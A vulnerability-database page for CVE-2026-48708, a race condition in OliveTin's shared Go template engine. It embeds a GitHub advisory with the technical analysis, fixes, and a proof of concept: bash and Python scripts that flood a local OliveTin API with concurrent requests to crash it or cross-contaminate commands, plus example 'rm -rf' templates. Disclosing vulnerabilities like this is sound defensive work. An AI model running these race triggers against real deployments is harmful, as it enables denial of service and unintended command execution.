CVE-2026-48708: Github.com/OliveTin/OliveTin OliveTin Has A Concurrent Template Vulnerability
HIGHCVE-2026-48708 is a HIGH (CVSS 7.5) olivetin has a concurrent template vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Github.com/OliveTin/OliveTin libraries in the Go ecosystem. The issue involves olivetin has a concurrent template parsing race condition which leads to cross-request command contamination. Remediation is available by upgrading affected packages to version 0.0.0-20260521225117-d74da9314005.
CVE-2026-48708 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-48708
To remediate this vulnerability, upgrade all affected Github.com/OliveTin/OliveTin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260521225117-d74da9314005
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/OliveTin/OliveTin
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-48708, inspect your project dependencies for Github.com/OliveTin/OliveTin:
inspect dependencies for github.com/OliveTin/OliveTin
Analyze the terminal output to locate any version of Github.com/OliveTin/OliveTin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260521225117-d74da9314005), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Github.com/OliveTin/OliveTin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48708 Affected Github.com/OliveTin/OliveTin Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/OliveTin/OliveTin
|
Go |
< 0.0.0-20260521225117-d74da9314005
|
0.0.0-20260521225117-d74da9314005
|
References
Frequently Asked Questions
What is CVE-2026-48708?
Which Github.com/OliveTin/OliveTin versions are affected?
What version fixes CVE-2026-48708?
Is github.com/OliveTin/OliveTin affected?
What is the CVSS score of CVE-2026-48708?
What CWE is associated with CVE-2026-48708?
How can I check Go dependencies for CVE-2026-48708?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7fq5-7wr8-rjwj",
"modified" : "2026-07-20T21:32:33Z",
"published" : "2026-06-24T17:38:12Z",
"aliases" : [ "CVE-2026-48708" ],
"summary" : "OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination",
"details" : "## Summary\n\nOliveTin's template engine uses a **single shared `text/template.Template` instance** (`tpl` package-level variable in `service/internal/tpl/templates.go`) across all goroutines. Every action execution calls `tpl.Parse(source)` followed by `t.Execute()` on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each `ExecRequest` spawns a goroutine), a race condition occurs: one goroutine's `Parse` overwrites the template tree while another goroutine is calling `Execute`, causing:\n\n1. **Cross-user command contamination**: User A's arguments rendered in User B's shell command template\n2. **Go runtime panic**: Concurrent map writes in Go's `text/template` internal structures cause a fatal crash\n3. **Incorrect command execution**: Template/argument mismatch produces unexpected or dangerous shell commands\n\n## CWE\n\n- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)\n\n## Affected Versions\n\n- All versions (the shared template has existed since the template system was introduced)\n\n## Details\n\n### The Shared Template Instance\n\nIn `service/internal/tpl/templates.go`:\n\n```go\nvar tpl = template.New(\"tpl\").\n Option(\"missingkey=error\").\n Funcs(template.FuncMap{\"Json\": jsonFunc})\n```\n\nThis is a **package-level variable** — a single `*template.Template` shared across the entire process.\n\n### Unsafe Parse + Execute Pattern\n\nThe `parseTemplate` function is called for every template rendering:\n\n```go\nfunc parseTemplate(source string, data any) (string, error) {\n t, err := tpl.Parse(source) // Modifies shared tpl's internal Tree\n if err != nil {\n return \"\", err\n }\n\n var sb strings.Builder\n err = t.Execute(&sb, data) // Reads from tpl's internal Tree\n // ...\n}\n```\n\n**Critical**: `tpl.Parse(source)` returns the same pointer as `tpl` (Go's `template.Parse` modifies the receiver and returns it). So `t` and `tpl` are the **same object**. When two goroutines call `parseTemplate` concurrently:\n\n```\nGoroutine A (Action \"echo {{ .Arguments.name }}\"):\n 1. tpl.Parse(\"echo {{ .Arguments.name }}\") → sets tpl.Tree = TreeA\n 2. t.Execute(&sb, {Arguments: {\"name\": \"safe\"}}) → walks TreeA\n\nGoroutine B (Action \"rm -rf {{ .Arguments.path }}\"):\n 1. tpl.Parse(\"rm -rf {{ .Arguments.path }}\") → sets tpl.Tree = TreeB\n 2. t.Execute(&sb, {Arguments: {\"path\": \"/tmp\"}}) → walks TreeB\n```\n\nIf the goroutines interleave:\n```\n A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!\n```\n\nGoroutine A would execute `rm -rf {{ .Arguments.path }}` with `dataA` — which either errors (missing key) or, if `dataA` happens to have a `path` argument, executes with an unintended value.\n\n### No Synchronization Exists\n\nA search for any synchronization primitives in the `tpl` package confirms **zero mutex, lock, or atomic operations**:\n\n```\n$ grep -r \"sync\\.\\|Mutex\\|Lock\\|mutex\" service/internal/tpl/\n(no results)\n```\n\n### Concurrent Goroutine Confirmation\n\nIn `service/internal/executor/executor.go`, `ExecRequest` launches each action in a new goroutine:\n\n```go\nfunc (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {\n // ...\n go func() {\n e.execChain(req) // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate\n defer wg.Done()\n }()\n return wg, req.TrackingID\n}\n```\n\nThe execution chain includes `stepParseArgs`, which calls `ParseTemplateWithActionContext`, which calls `parseTemplate`. Multiple concurrent action executions will race on the shared `tpl` variable.\n\n### Go Runtime Crash Vector\n\nGo's `text/template.Parse` internally modifies the template's `common` struct, which contains a `tmpl map[string]*Template`. In Go, concurrent map writes cause an **unrecoverable fatal error**:\n\n```\nfatal error: concurrent map writes\ngoroutine X [running]:\nruntime.throw(...)\n```\n\nThis is not a panic that can be recovered — it terminates the entire process. Two concurrent `Parse` calls can trigger this, crashing OliveTin.\n\n### Template Contamination Vector\n\nEven without a crash, the race can produce dangerous results:\n\n1. **User A** triggers action: `shell: \"echo Hello {{ .Arguments.name }}\"` with `name=Alice`\n2. **User B** triggers action: `shell: \"sudo systemctl restart {{ .Arguments.service }}\"` with `service=nginx`\n3. Race occurs: User A's `Execute` runs on User B's parsed template\n4. If User A's arguments contain a `service` key, that value is substituted into `sudo systemctl restart {{ .Arguments.service }}`\n5. If User A's arguments do NOT contain `service`, `missingkey=error` causes an error — but only AFTER the template was already partially evaluated\n\n### Call Chain\n\n```\nAPI Request → ExecRequest (goroutine) → execChain → stepParseArgs\n → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)\n ↑ RACE CONDITION ↑\n (shared tpl variable)\n```\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least 2 configured actions\n- Ability to trigger concurrent action executions\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n - title: Safe Echo\n id: safe-echo\n shell: \"echo 'Hello {{ .Arguments.name }}'\"\n arguments:\n - name: name\n type: ascii\n\n - title: File Delete\n id: file-delete\n shell: \"rm -f /tmp/{{ .Arguments.target }}\"\n arguments:\n - name: target\n type: ascii_identifier\n```\n\n### Step 1: Trigger concurrent executions\n\n```bash\n#!/bin/bash\n# Fire 50 concurrent requests to maximize race window\nfor i in $(seq 1 50); do\n curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n -H 'Content-Type: application/json' \\\n -d '{\"bindingId\":\"safe-echo\",\"arguments\":[{\"name\":\"name\",\"value\":\"Alice\"}]}' &\n\n curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n -H 'Content-Type: application/json' \\\n -d '{\"bindingId\":\"file-delete\",\"arguments\":[{\"name\":\"target\",\"value\":\"test\"}]}' &\ndone\nwait\necho \"All requests sent\"\n```\n\n### Step 2: Check for crash\n\n```bash\n# If OliveTin crashed due to concurrent map writes:\ncurl -s http://127.0.0.1:1337/readyz\n# Expected: Connection refused (process crashed)\n```\n\n### Step 3: Check logs for contamination\n\n```bash\n# Look for mismatched template executions in the OliveTin logs\ngrep -E \"missingkey|Error executing template|concurrent\" /var/log/olivetin.log\n```\n\n### Python PoC — Race Trigger\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Template Race Condition — Cross-Request Contamination\n\nTriggers concurrent action executions to race on the shared\ntext/template instance in service/internal/tpl/templates.go.\n\nExpected outcomes:\n1. Go fatal error: concurrent map writes (process crash)\n2. Template error: map has no entry for key (cross-contamination detected)\n3. Silent contamination: arguments rendered in wrong template\n\"\"\"\n\nimport requests\nimport threading\nimport time\n\nTARGET = \"http://127.0.0.1:1337\"\nTHREADS = 20\nITERATIONS = 100\n\ncrash_detected = threading.Event()\nerrors_detected = []\n\ndef fire_action_a():\n \"\"\"Trigger 'safe-echo' action repeatedly.\"\"\"\n for _ in range(ITERATIONS):\n if crash_detected.is_set():\n break\n try:\n resp = requests.post(\n f\"{TARGET}/api/StartAction\",\n json={\n \"bindingId\": \"safe-echo\",\n \"arguments\": [{\"name\": \"name\", \"value\": \"Alice\"}]\n },\n headers={\"Content-Type\": \"application/json\"},\n timeout=5\n )\n if resp.status_code != 200:\n errors_detected.append(f\"Action A error: {resp.status_code} {resp.text}\")\n except requests.exceptions.ConnectionError:\n crash_detected.set()\n errors_detected.append(\"CONNECTION REFUSED — Server likely crashed!\")\n break\n except Exception as e:\n errors_detected.append(f\"Action A exception: {e}\")\n\ndef fire_action_b():\n \"\"\"Trigger 'file-delete' action repeatedly.\"\"\"\n for _ in range(ITERATIONS):\n if crash_detected.is_set():\n break\n try:\n resp = requests.post(\n f\"{TARGET}/api/StartAction\",\n json={\n \"bindingId\": \"file-delete\",\n \"arguments\": [{\"name\": \"target\", \"value\": \"test\"}]\n },\n headers={\"Content-Type\": \"application/json\"},\n timeout=5\n )\n if resp.status_code != 200:\n errors_detected.append(f\"Action B error: {resp.status_code} {resp.text}\")\n except requests.exceptions.ConnectionError:\n crash_detected.set()\n errors_detected.append(\"CONNECTION REFUSED — Server likely crashed!\")\n break\n except Exception as e:\n errors_detected.append(f\"Action B exception: {e}\")\n\nif __name__ == \"__main__\":\n print(f\"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each\")\n print(f\"[*] Target: {TARGET}\")\n\n threads = []\n for _ in range(THREADS):\n threads.append(threading.Thread(target=fire_action_a))\n threads.append(threading.Thread(target=fire_action_b))\n\n start = time.time()\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n elapsed = time.time() - start\n\n print(f\"\\n[*] Completed in {elapsed:.1f}s\")\n print(f\"[*] Total requests: {THREADS * 2 * ITERATIONS}\")\n\n if crash_detected.is_set():\n print(\"[!] SERVER CRASH DETECTED — concurrent map write panic\")\n if errors_detected:\n print(f\"[!] {len(errors_detected)} errors detected:\")\n for err in errors_detected[:10]:\n print(f\" - {err}\")\n else:\n print(\"[*] No errors detected (race window may not have been hit)\")\n print(\"[*] Try increasing THREADS/ITERATIONS or checking server logs\")\n```\n\n### Go Race Detector Verification\n\nIf you can run OliveTin with Go's race detector enabled:\n\n```bash\ncd service\ngo run -race . &\n# Then trigger concurrent requests — the race detector will confirm the data race\n```\n\nExpected output:\n```\nWARNING: DATA RACE\n Write by goroutine X:\n text/template.(*Template).Parse()\n service/internal/tpl/templates.go:XX\n\n Previous read by goroutine Y:\n text/template.(*Template).Execute()\n service/internal/tpl/templates.go:XX\n```\n\n## Impact\n\n- **Process Crash (DoS)**: Concurrent map writes in Go cause an unrecoverable `fatal error`, crashing the entire OliveTin service\n- **Cross-User Command Contamination**: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments\n- **Privilege Escalation via Contamination**: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution\n- **Data Leakage**: Arguments (which may contain secrets like passwords) could be rendered in another user's action output\n\n## Remediation\n\n1. **Create a new template per parse call** instead of reusing the package-level singleton:\n ```go\n func parseTemplate(source string, data any) (string, error) {\n t, err := template.New(\"\").\n Option(\"missingkey=error\").\n Funcs(template.FuncMap{\"Json\": jsonFunc}).\n Parse(source)\n if err != nil {\n return \"\", err\n }\n var sb strings.Builder\n err = t.Execute(&sb, data)\n // ...\n }\n ```\n\n2. **Alternative**: Use `template.Must(tpl.Clone())` to create a thread-safe copy per call:\n ```go\n func parseTemplate(source string, data any) (string, error) {\n clone, _ := tpl.Clone()\n t, err := clone.Parse(source)\n // ...\n }\n ```\n\n3. **Alternative**: Add a mutex around `parseTemplate` (but this serializes all template rendering and hurts performance):\n ```go\n var tplMutex sync.Mutex\n func parseTemplate(source string, data any) (string, error) {\n tplMutex.Lock()\n defer tplMutex.Unlock()\n // ...\n }\n ```\n\n Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.\n\n## Resources\n\n- Go `text/template` documentation: \"A Template's Parse method must not be called concurrently\"\n- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization\n- `service/internal/tpl/templates.go` — shared `tpl` variable and `parseTemplate` function\n- `service/internal/executor/executor.go` — `ExecRequest` goroutine launch (line ~524)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/OliveTin/OliveTin"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260521225117-d74da9314005"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "< 0.0.0-20260521225117-d74da9314005-"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48708"
}, {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OliveTin/OliveTin"
}, {
"type" : "WEB",
"url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-362", "CWE-567" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-24T17:38:12Z",
"nvd_published_at" : "2026-06-15T21:17:15Z"
}
}